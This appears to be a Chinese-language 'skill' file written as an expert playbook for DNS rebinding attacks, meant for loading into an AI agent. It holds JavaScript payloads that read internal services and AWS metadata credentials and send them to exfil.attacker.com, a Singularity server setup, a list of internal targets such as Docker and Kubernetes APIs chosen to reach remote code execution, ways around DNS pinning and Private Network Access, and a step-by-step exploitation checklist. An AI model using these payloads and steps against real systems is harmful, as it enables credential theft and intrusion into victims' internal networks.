dns-rebinding-attacks

技能：DNS 重绑定 — 专家攻击手册

AI 加载说明：用于绕过同源策略的专家级 DNS 重绑定技术，通过操纵 DNS 实现。涵盖 TTL 技巧、绕过浏览器缓存、攻击变体（HTTP、WebSocket、TOCTOU）、内部服务目标及工具使用。基础模型常将 DNS 重绑定与 SSRF 混淆——本技能阐明其客户端性质和独特的利用路径。

0. 相关路由

• ssrf-server-side-request-forgery — 服务端变体；DNS 重绑定是其客户端对应形式
• cors-cross-origin-misconfiguration — CORS 配置错误允许直接跨源读取时使用

---

1. 核心原理

浏览器的同源策略绑定 protocol + host + port。主机名会在连接时通过 DNS 解析。如果攻击者控制 attacker.com 的 DNS 服务器，就可以：

1. 首次解析 → 攻击者 IP（提供恶意 JS）
2. 再次解析 → 内部 IP（受害者的网络）
3. 浏览器将两次响应视为同源（attacker.com）
4. 恶意 JS 读取内部服务的响应

Victim visits attacker.com
        │
        ▼
DNS query: attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
        │
        ▼
TTL expires (or forced flush)
        │
        ▼
JS triggers new request to attacker.com
DNS query: attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "attacker.com" origin
        │
        ▼
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpoint

关键要点：SOP 检查的是主机名字符串，而不是解析得到的 IP。DNS 可以更改同一主机名背后的 IP。

---

2. TTL 操纵

DNS 服务器配置

攻击者为其域名运行权威 DNS 服务器，交替返回不同响应：

查询次数	响应	TTL
第 1 次	攻击者 IP（例如 1.2.3.4）	0
第 2 次及之后	目标内部 IP（例如 192.168.1.1）	0

TTL=0 告知解析器不要缓存结果，强制在下次连接时重新解析。

浏览器 DNS 缓存的实际情况

浏览器会维护自己的 DNS 缓存，忽略较短的 TTL：

浏览器	内部 DNS 缓存	绕过技巧
Chrome	最短约 60 秒	等待 60 秒；或使用多个子域名
Firefox	约 60 秒（network.dnsCacheExpiration）	可在 about:config 中调整
Safari	时长不一	通常缓存时间较短
Edge (Chromium)	与 Chrome 相同（约 60 秒）	使用与 Chrome 相同的技巧

绕过策略

1. Multiple A records technique:
   - Return BOTH attacker IP and target IP in single DNS response
   - Browser tries first IP; if connection fails → falls back to second
   - Block attacker IP after initial page load → forces fallback to internal IP
   
2. Subdomain flooding:
   - Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com...
   - Each subdomain gets fresh DNS resolution (no cache hit)
   
3. Service worker flush:
   - Register service worker that intercepts and delays requests
   - By the time fetch executes, DNS cache has expired

---

3. 攻击变体

3.1 经典 HTTP 重绑定

目标：内部 Web 服务（管理面板、REST API）

// Served from attacker.com (first DNS resolution → attacker IP)
async function exploit() {
    // Wait for DNS cache to expire
    await sleep(65000); // >60s for Chrome
    
    // This request now resolves to internal IP
    const resp = await fetch('http://attacker.com:8080/api/admin/users');
    const data = await resp.text();
    
    // Exfiltrate to different attacker endpoint
    navigator.sendBeacon('https://exfil.attacker.com/log', data);
}

3.2 WebSocket 重绑定

WebSocket 连接在 DNS 重绑定后仍会保持。先建立 WS 连接，然后执行重绑定：

// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
    ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
    fetch('https://exfil.attacker.com/ws-data', {
        method: 'POST',
        body: e.data
    });
};

3.3 检查时与使用时竞态（TOCTOU）

在请求时验证 DNS、但会复用连接的服务端应用：

1. Application receives URL: http://attacker.com/callback
2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation
3. Server opens connection / follows redirect
4. DNS changes: attacker.com → 169.254.169.254
5. Connection reuse or redirect hits internal IP

这是与 SSRF 结合的混合型攻击——重绑定发生在服务器的解析器中。

3.4 多个 A 记录（最快的变体）

DNS response for attacker.com:
  A  1.2.3.4       (attacker — serves JS)
  A  192.168.1.1   (target — internal service)
  
1. Browser connects to 1.2.3.4, loads page with JS
2. Attacker firewall blocks further connections from victim to 1.2.3.4
3. JS makes new request to attacker.com
4. Browser tries 1.2.3.4 → connection refused
5. Falls back to 192.168.1.1 → still same origin
6. Response readable by JS

---

4. 高价值目标

目标	端口	原因
云元数据	169.254.169.254:80	AWS/GCP/Azure 实例凭证、令牌
Docker API	172.17.0.1:2375	创建容器、挂载主机文件系统 → RCE
Kubernetes API	10.96.0.1:443/6443	创建 Pod、读取机密
内部管理面板	各不相同	路由器配置、NAS、打印机、SCADA
IoT 设备	192.168.x.x:80/443	摄像头画面、智能家居控制
Elasticsearch	*:9200	数据外传、索引操纵
Redis	*:6379	读取数据、通过设置配置实现 RCE
Consul/etcd	*:8500/2379	服务发现、机密存储

云元数据专项

// AWS metadata via rebinding
fetch('http://attacker.com/latest/meta-data/iam/security-credentials/')
    .then(r => r.text())
    .then(role => {
        return fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`);
    })
    .then(r => r.json())
    .then(creds => {
        navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds));
    });
// After rebinding, attacker.com resolves to 169.254.169.254
// Browser sends Host: attacker.com but IMDSv1 doesn't check Host header

IMDSv2 防御：要求 PUT 请求中的 X-aws-ec2-metadata-token 标头。在 no-cors 模式下，重绑定攻击难以在初始令牌请求中设置自定义标头。

---

5. 工具

工具	用途	URL
Singularity	完整的 DNS 重绑定攻击框架	github.com/nccgroup/singularity
rbndr.us	快速 DNS 重绑定服务（子域名中包含 IP 对）	rbndr.us
whonow	动态 DNS 重绑定服务器	github.com/taviso/whonow
dnsrebinder	用于重绑定的精简 Python DNS 服务器	自定义 / 各类仓库

Singularity 快速入门

# Clone and run
git clone https://github.com/nccgroup/singularity
cd singularity
go build -o singularity cmd/singularity-server/main.go

# Start with rebind from attacker IP to target IP
./singularity -DNSRebindStrategy round-robin \
    -ResponseIPAddr 1.2.3.4 \
    -RebindingFn sequential \
    -ResponseReboundIPAddr 192.168.1.1

rbndr.us（零配置）

Format: <hex-ip1>.<hex-ip2>.rbndr.us
Example: 7f000001.c0a80101.rbndr.us
  → alternates between 127.0.0.1 and 192.168.1.1
  
Convert IP to hex:
  192.168.1.1 → c0.a8.01.01 → c0a80101
  127.0.0.1   → 7f.00.00.01 → 7f000001

---

6. DNS 重绑定与 SSRF

方面	DNS 重绑定	SSRF
执行上下文	客户端（浏览器）	服务端
跨域绕过	同源策略	网络访问控制
攻击者控制	DNS 解析	服务端发送的 URL/请求
所需条件	受害者访问攻击者页面	存在漏洞的服务端请求
通过何种方式访问内部网络	受害者网络中的浏览器	服务端的网络位置
凭据包含情况	自动包含浏览器 Cookie	不包含用户凭据
协议支持	HTTP/WS（受浏览器限制）	任意协议（gopher、file 等）

关键区别：DNS 重绑定利用受害者的浏览器作为跳板，因此它访问的是受害者网络中可见的服务，并携带受害者的 Cookie/凭据。

---

7. 防御与绕过防御

常见防御

防御	工作原理
DNS 固定	浏览器/解析器缓存 DNS，并拒绝重新解析
Host 标头验证	服务端拒绝 Host 标头异常的请求
网络分段	浏览器所在网络无法访问内部服务
私有网络访问（PNA）	Chrome 提出的方案：向私有 IP 发送请求前先进行预检
内部服务身份验证	内部服务要求进行身份验证，而非仅要求网络访问

绕过防御的技术

DNS pinning bypass:
├── Multiple A records → connection failure forces fallback
├── Subdomain per request → no cache hit
├── Wait for cache expiry (Chrome: 60s)
└── Rebind via CNAME chain (harder to pin)

Host header validation bypass:
├── Internal service may not check Host header at all
├── Host: attacker.com accepted by default configs
├── IP-based vhosts don't check Host
└── Wildcard vhost configurations

Private Network Access (PNA) bypass:
├── PNA only in Chrome (as of 2024), partial enforcement
├── WebSocket connections may not trigger preflight
├── HTTPS → HTTP downgrade scenarios
└── Non-browser clients unaffected

---

8. 决策树

Want to access internal services from victim's browser?
│
├── Can you get victim to visit your page?
│   ├── YES → DNS rebinding is viable
│   │   │
│   │   ├── What is the target?
│   │   │   ├── HTTP service → Classic rebinding (Section 3.1)
│   │   │   ├── WebSocket service → WS rebinding (Section 3.2)
│   │   │   └── Cloud metadata → Metadata exfil (Section 4)
│   │   │
│   │   ├── Browser cache concern?
│   │   │   ├── Chrome → Wait 60s or use multiple subdomains
│   │   │   ├── Firefox → Wait 60s or adjust dnsCacheExpiration
│   │   │   └── Use multiple A records technique for instant rebind
│   │   │
│   │   ├── Target checks Host header?
│   │   │   ├── YES → Rebinding alone won't work
│   │   │   │   └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
│   │   │   └── NO → Proceed with rebinding
│   │   │
│   │   └── Need credentials?
│   │       ├── Browser auto-sends cookies → works if same-site allows
│   │       └── Custom auth header needed → limited (no-cors won't send custom headers)
│   │
│   └── NO → DNS rebinding not applicable
│       └── Consider SSRF if server-side fetch exists
│
└── Is this server-side DNS validation bypass? (TOCTOU)
    ├── YES → Hybrid approach (Section 3.3)
    │   └── SSRF with DNS rebinding for IP validation bypass
    └── NO → Review ../ssrf-server-side-request-forgery/ instead

---

9. 真实场景利用清单

□ Set up DNS rebinding infrastructure (Singularity / rbndr.us / custom)
□ Identify target internal services (port scan from victim context if possible)
□ Determine browser DNS cache duration for target browser
□ Choose rebinding variant (classic / multi-A / subdomain flood)
□ Test with benign internal endpoint first (e.g., / on router)
□ Verify same-origin read works after rebind
□ Escalate: cloud metadata → creds, Docker API → RCE, admin panels → config
□ Document: attacker.com DNS config, JS payload, rebind timing, exfil data